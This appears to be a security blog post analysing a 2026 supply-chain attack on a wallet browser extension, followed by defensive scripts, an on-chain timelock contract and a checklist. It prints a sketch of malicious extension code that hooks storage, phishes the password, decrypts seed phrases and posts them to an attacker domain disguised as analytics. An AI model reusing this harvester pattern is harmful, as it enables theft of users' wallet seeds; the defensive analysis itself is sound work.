On March 17, 2026, the crypto world learned something unsettling: a Chinese hacker group operating as a legitimate cybersecurity company had been systematically stealing cryptocurrency through browser extension supply chain attacks. The group, operating under the name Wuhan Anshun Technology, was only exposed because of an internal dispute over profit splits.
The result: $7 million stolen across 37 token types, 2,600+ wallets drained, and a stark reminder that the biggest threat to self-custody isn't your private key management — it's the software sitting between you and your keys.
The Attack Anatomy
Phase 1: The Corporate Cover
Wuhan Anshun Technology presented itself as a security research firm — vulnerability research, red teaming, security services. The perfect cover for a group that needed access to security tooling, reverse engineering capabilities, and deep knowledge of wallet internals.
This mirrors a growing pattern: North Korea's Lazarus Group operates similarly through front companies, and the Bitrefill attack disclosed the same week used a compromised employee laptop as the initial vector.
Phase 2: Extension Supply Chain Compromise
The group specifically targeted Trust Wallet's Chrome extension v2.68. The attack injected malicious code into a legitimate extension update:
// Simplified representation of the malicious injection pattern
// DO NOT USE — for educational analysis only
class MaliciousWalletHarvester {
constructor() {
// Hook into the wallet's internal storage API
this.interceptStorage();
// Set up exfiltration endpoint
this.exfilDomain = 'tw-security-update.com'; // newly registered
}
interceptStorage() {
// Override the extension's wallet enumeration
const originalGetWallets = chrome.storage.local.get;
chrome.storage.local.get = async (keys, callback) => {
const result = await originalGetWallets(keys);
// Iterate through all stored wallet data
if (result.wallets) {
for (const wallet of result.wallets) {
await this.harvestCredentials(wallet);
}
}
return callback(result);
};
}
async harvestCredentials(walletData) {
// Trigger a fake "re-authentication" prompt
const password = await this.promptReauth();
// Decrypt mnemonic locally using captured password
const mnemonic = this.decryptMnemonic(
walletData.encryptedSeed,
password
);
// Exfiltrate via analytics-looking POST request
await fetch(`https://${this.exfilDomain}/api/v1/analytics`, {
method: 'POST',
body: JSON.stringify({
event: 'wallet_sync', // disguised as telemetry
data: this.encode(mnemonic),
chain: walletData.chainId,
address: walletData.address
})
});
}
}
Key technical details from SlowMist's analysis:
- Local decryption: The malicious code decrypted mnemonics client-side using the user's password, then exfiltrated plaintext seeds
- Analytics camouflage: Exfiltration requests were disguised as legitimate analytics events using an open-source analytics library
- Newly registered domain: The C2 endpoint was registered days before the attack began — a classic indicator
- Scoped to extension only: Mobile apps and other browser extensions were unaffected
Phase 3: Multi-Chain Drain
Once mnemonics were captured, the group deployed automated tooling to:
- Bulk-scan assets across Ethereum, BNB Chain, Arbitrum, and other networks
- Prioritize high-value wallets for immediate draining
- Split and route stolen funds through multiple hops to exchanges
- Target 37 token types — not just ETH/BNB but DeFi tokens, stablecoins, and NFTs
Phase 4: Coordinated Phishing
As Trust Wallet disclosed the breach, the same group launched a secondary phishing campaign:
- Fake social media accounts offering "emergency fixes"
- Spoofed website mimicking Trust Wallet's support page
- Prompted users to enter recovery phrases to "secure" their wallets
- Shared infrastructure patterns with the malicious extension backend
Why Browser Extension Supply Chains Are DeFi's Achilles Heel
This isn't an isolated incident. Browser extension compromises are becoming the preferred attack vector for sophisticated threat actors:
| Incident | Date | Loss | Vector |
|---|---|---|---|
| Trust Wallet Extension | Mar 2026 | $7M | Malicious update injection |
| Glassworm Campaign | Mar 2026 | Unknown | Unicode steganography in npm/GitHub |
| Bitrefill Lazarus Attack | Mar 2026 | Undisclosed | Employee device compromise |
| Ledger Connect Kit | Dec 2023 | $600K | Former employee phishing |
| MetaMask Phishing Extensions | 2022-2026 | $50M+ | Fake lookalike extensions |
The Trust Problem
Every browser extension has god-mode access to your wallet:
Browser Extension Threat Model:
┌─────────────────────────────────────────┐
│ Chrome Extension (v2.68 compromised) │
│ ┌─────────────────────────────────┐ │
│ │ Storage Access: ALL wallet data │ │
│ │ DOM Access: Inject UI prompts │ │
│ │ Network: Send data anywhere │ │
│ │ Updates: Auto-install silently │ │
│ └─────────────────────────────────┘ │
│ ↓ Malicious Code ↓ │
│ ┌─────────────────────────────────┐ │
│ │ 1. Read encrypted mnemonics │ │
│ │ 2. Prompt for password (fake) │ │
│ │ 3. Decrypt locally │ │
│ │ 4. Exfiltrate to C2 │ │
│ └─────────────────────────────────┘ │
└─────────────────────────────────────────┘
Defense Patterns
1. Extension Integrity Verification
Monitor your installed extensions for unexpected changes:
#!/usr/bin/env python3
"""
Browser extension integrity monitor.
Alerts on unexpected extension updates or new permissions.
"""
import hashlib
import json
import os
from pathlib import Path
from datetime import datetime
CHROME_EXT_DIR = os.path.expanduser(
"~/.config/google-chrome/Default/Extensions"
)
BASELINE_FILE = "extension_baseline.json"
CRITICAL_EXTENSIONS = {
# Map extension IDs to expected names
"egjidjbpglichdcondbcbdnbeeppgdph": "Trust Wallet",
"nkbihfbeogaeaoehlefnkodbefgpgknn": "MetaMask",
"bfnaelmomeimhlpmgjnjophhpkkoljpa": "Phantom",
}
def hash_extension_dir(ext_path: str) -> str:
"""Hash all JS files in an extension directory."""
hasher = hashlib.sha256()
for root, _, files in sorted(os.walk(ext_path)):
for fname in sorted(files):
if fname.endswith(('.js', '.html', '.json')):
fpath = os.path.join(root, fname)
with open(fpath, 'rb') as f:
hasher.update(f.read())
return hasher.hexdigest()
def scan_extensions():
"""Scan and compare extension hashes against baseline."""
current = {}
alerts = []
for ext_id, ext_name in CRITICAL_EXTENSIONS.items():
ext_path = os.path.join(CHROME_EXT_DIR, ext_id)
if not os.path.exists(ext_path):
continue
# Get latest version directory
versions = sorted(os.listdir(ext_path))
if not versions:
continue
latest = os.path.join(ext_path, versions[-1])
current[ext_id] = {
"name": ext_name,
"version": versions[-1],
"hash": hash_extension_dir(latest),
"scanned_at": datetime.utcnow().isoformat()
}
# Compare against baseline
if os.path.exists(BASELINE_FILE):
with open(BASELINE_FILE) as f:
baseline = json.load(f)
for ext_id, data in current.items():
if ext_id in baseline:
if data["hash"] != baseline[ext_id]["hash"]:
alerts.append(
f"⚠️ HASH CHANGED: {data['name']} "
f"({baseline[ext_id]['version']} → "
f"{data['version']})"
)
if data["version"] != baseline[ext_id]["version"]:
alerts.append(
f"🔄 VERSION UPDATE: {data['name']} "
f"{data['version']}"
)
# Save current as new baseline
with open(BASELINE_FILE, 'w') as f:
json.dump(current, f, indent=2)
return alerts
if __name__ == "__main__":
alerts = scan_extensions()
for alert in alerts:
print(alert)
if not alerts:
print("✅ All wallet extensions unchanged")
2. Manifest Permission Auditing
Check what permissions your wallet extensions actually request:
#!/bin/bash
# Audit Chrome extension permissions for wallet extensions
CHROME_EXT="$HOME/.config/google-chrome/Default/Extensions"
# Known wallet extension IDs
declare -A WALLETS=(
["egjidjbpglichdcondbcbdnbeeppgdph"]="Trust Wallet"
["nkbihfbeogaeaoehlefnkodbefgpgknn"]="MetaMask"
["bfnaelmomeimhlpmgjnjophhpkkoljpa"]="Phantom"
)
echo "=== Wallet Extension Permission Audit ==="
echo "Date: $(date -u +%Y-%m-%dT%H:%M:%SZ)"
echo ""
for ext_id in "${!WALLETS[@]}"; do
name="${WALLETS[$ext_id]}"
ext_dir="$CHROME_EXT/$ext_id"
if [ ! -d "$ext_dir" ]; then
echo "❌ $name: Not installed"
continue
fi
# Get latest version
latest=$(ls -1 "$ext_dir" | sort -V | tail -1)
manifest="$ext_dir/$latest/manifest.json"
if [ ! -f "$manifest" ]; then
echo "⚠️ $name: No manifest found"
continue
fi
echo "📦 $name (v$latest)"
# Extract permissions
echo " Permissions:"
jq -r '.permissions[]? // empty' "$manifest" 2>/dev/null \
| sed 's/^/ - /'
# Check for dangerous patterns
echo " Host Permissions:"
jq -r '.host_permissions[]? // empty' "$manifest" 2>/dev/null \
| sed 's/^/ - /'
# Check content_security_policy for external domains
csp=$(jq -r '.content_security_policy //
.content_security_policy.extension_pages // empty' \
"$manifest" 2>/dev/null)
if echo "$csp" | grep -qE 'connect-src.*https?://[^*]'; then
echo " ⚠️ CSP allows external connections:"
echo " $csp"
fi
# Check for suspicious JS file patterns
suspicious=$(find "$ext_dir/$latest" -name "*.js" \
-exec grep -l 'mnemonic\|seed.*phrase\|recovery.*phrase' {} \; \
2>/dev/null | head -5)
if [ -n "$suspicious" ]; then
echo " 🔍 Files referencing mnemonics:"
echo "$suspicious" | sed 's/^/ /'
fi
echo ""
done
3. Hardware Wallet Isolation (The Real Fix)
Browser extensions will always be a risk. The architectural solution is removing secrets from the browser entirely:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/**
* @title SupplyChainGuard
* @notice On-chain guardrails that protect against
* compromised wallet software
*/
contract SupplyChainGuard {
struct TransferPolicy {
uint256 dailyLimit;
uint256 spentToday;
uint256 lastResetTimestamp;
uint256 timelockDelay;
mapping(address => bool) whitelistedRecipients;
}
mapping(address => TransferPolicy) public policies;
mapping(bytes32 => uint256) public pendingTransfers;
event TransferQueued(
bytes32 indexed id,
address indexed to,
uint256 amount,
uint256 executeAfter
);
event TransferExecuted(bytes32 indexed id);
event TransferCancelled(bytes32 indexed id);
/**
* @notice Set daily spending limit and timelock
* @dev Even if extension is compromised, attacker
* can only drain up to dailyLimit instantly
*/
function setPolicy(
uint256 _dailyLimit,
uint256 _timelockDelay,
address[] calldata _whitelist
) external {
TransferPolicy storage p = policies[msg.sender];
p.dailyLimit = _dailyLimit;
p.timelockDelay = _timelockDelay;
for (uint i = 0; i < _whitelist.length; i++) {
p.whitelistedRecipients[_whitelist[i]] = true;
}
}
/**
* @notice Queue a transfer that exceeds daily limit
* @dev Gives user time to detect and cancel if
* initiated by compromised software
*/
function queueTransfer(
address to,
uint256 amount
) external returns (bytes32) {
TransferPolicy storage p = policies[msg.sender];
// Reset daily counter if needed
if (block.timestamp >= p.lastResetTimestamp + 1 days) {
p.spentToday = 0;
p.lastResetTimestamp = block.timestamp;
}
// Whitelisted recipients bypass timelock
if (p.whitelistedRecipients[to] &&
p.spentToday + amount <= p.dailyLimit) {
p.spentToday += amount;
// Execute immediately
return bytes32(0);
}
// Non-whitelisted or over-limit: queue with timelock
bytes32 txId = keccak256(abi.encodePacked(
msg.sender, to, amount, block.timestamp
));
uint256 executeAfter = block.timestamp + p.timelockDelay;
pendingTransfers[txId] = executeAfter;
emit TransferQueued(txId, to, amount, executeAfter);
return txId;
}
/**
* @notice Cancel a queued transfer
* @dev The defense window — if you see unauthorized
* queued transfers, cancel them
*/
function cancelTransfer(bytes32 txId) external {
require(pendingTransfers[txId] > 0, "No such transfer");
delete pendingTransfers[txId];
emit TransferCancelled(txId);
}
}
4. Supply Chain Monitoring for Wallet Developers
If you're building wallet software, monitor your distribution pipeline:
#!/usr/bin/env python3
"""
Chrome Web Store extension update monitor.
Alerts when your published extension changes unexpectedly.
"""
import requests
import hashlib
import json
from datetime import datetime
EXTENSION_ID = "egjidjbpglichdcondbcbdnbeeppgdph"
EXPECTED_VERSION = "2.69" # Known-good version
# Chrome Web Store API endpoint
CWS_API = (
f"https://clients2.google.com/service/update2/crx"
f"?response=redirect&acceptformat=crx2,crx3"
f"&x=id%3D{EXTENSION_ID}%26uc"
)
def check_extension_update():
"""Check if extension has been updated unexpectedly."""
# 1. Check version via Chrome Web Store
detail_url = (
f"https://chrome.google.com/webstore/detail/"
f"{EXTENSION_ID}"
)
# 2. Download and hash the current CRX
resp = requests.get(CWS_API, allow_redirects=True)
if resp.status_code == 200:
crx_hash = hashlib.sha256(resp.content).hexdigest()
print(f"Current CRX hash: {crx_hash}")
# Compare against known-good hash
with open("known_good_hashes.json") as f:
known = json.load(f)
if crx_hash not in known.get("valid_hashes", []):
print(f"⚠️ ALERT: Unknown CRX hash detected!")
print(f" Hash: {crx_hash}")
print(f" Time: {datetime.utcnow().isoformat()}")
# Trigger incident response
return False
return True
def monitor_npm_dependencies():
"""
Monitor npm package integrity for Electron
wallet apps.
"""
# Check package-lock.json for unexpected changes
with open("package-lock.json") as f:
lock = json.load(f)
critical_packages = [
"@anthropic-ai/sdk",
"ethers",
"@solana/web3.js",
"electron",
"@metamask/providers"
]
for pkg in critical_packages:
if pkg in lock.get("packages", {}):
integrity = lock["packages"][pkg].get("integrity")
version = lock["packages"][pkg].get("version")
print(f" {pkg}@{version}: {integrity[:40]}...")
if __name__ == "__main__":
check_extension_update()
monitor_npm_dependencies()
The Supply Chain Security Audit Checklist
If you're building or using wallet software, audit against these 10 points:
For Wallet Users:
- ☐ Use hardware wallet for any holdings > $1,000
- ☐ Disable auto-update for wallet extensions
- ☐ Verify extension hash after each manual update
- ☐ Use a dedicated browser profile for crypto (no other extensions)
- ☐ Set up on-chain spending limits and timelocks
For Wallet Developers:
- ☐ Implement reproducible builds (users can verify binaries)
- ☐ Use Sigstore/cosign for release signing
- ☐ Pin all npm/cargo/pip dependencies with integrity hashes
- ☐ Monitor Chrome Web Store / npm registry for unauthorized updates
- ☐ Implement CSP headers that block all external network requests except your RPC endpoints
The Bigger Picture
The Wuhan Anshun Technology incident reveals three uncomfortable truths:
Threat actors are building companies as cover. State-sponsored groups and criminal enterprises create legitimate-looking security firms to access targets, recruit talent, and launder operations.
Extension auto-updates are a loaded gun. Chrome's silent update mechanism means a single compromised developer account can push malicious code to millions of users instantly.
Self-custody security is a full-stack problem. Your seed phrase can be perfectly managed, but if the software reading it is compromised, nothing else matters.
The $7 million stolen here is small compared to the $1.5 billion Bybit hack or the $600 million Ronin exploit. But the method is what matters — this is scalable, repeatable, and nearly invisible until an insider talks.
This article is part of the DeFi Security Research series. For more vulnerability analyses, audit tool guides, and security best practices, follow the series.
Disclaimer: Code examples are for educational purposes only. Never use security research tools against systems you don't own or have explicit permission to test.
Top comments (0)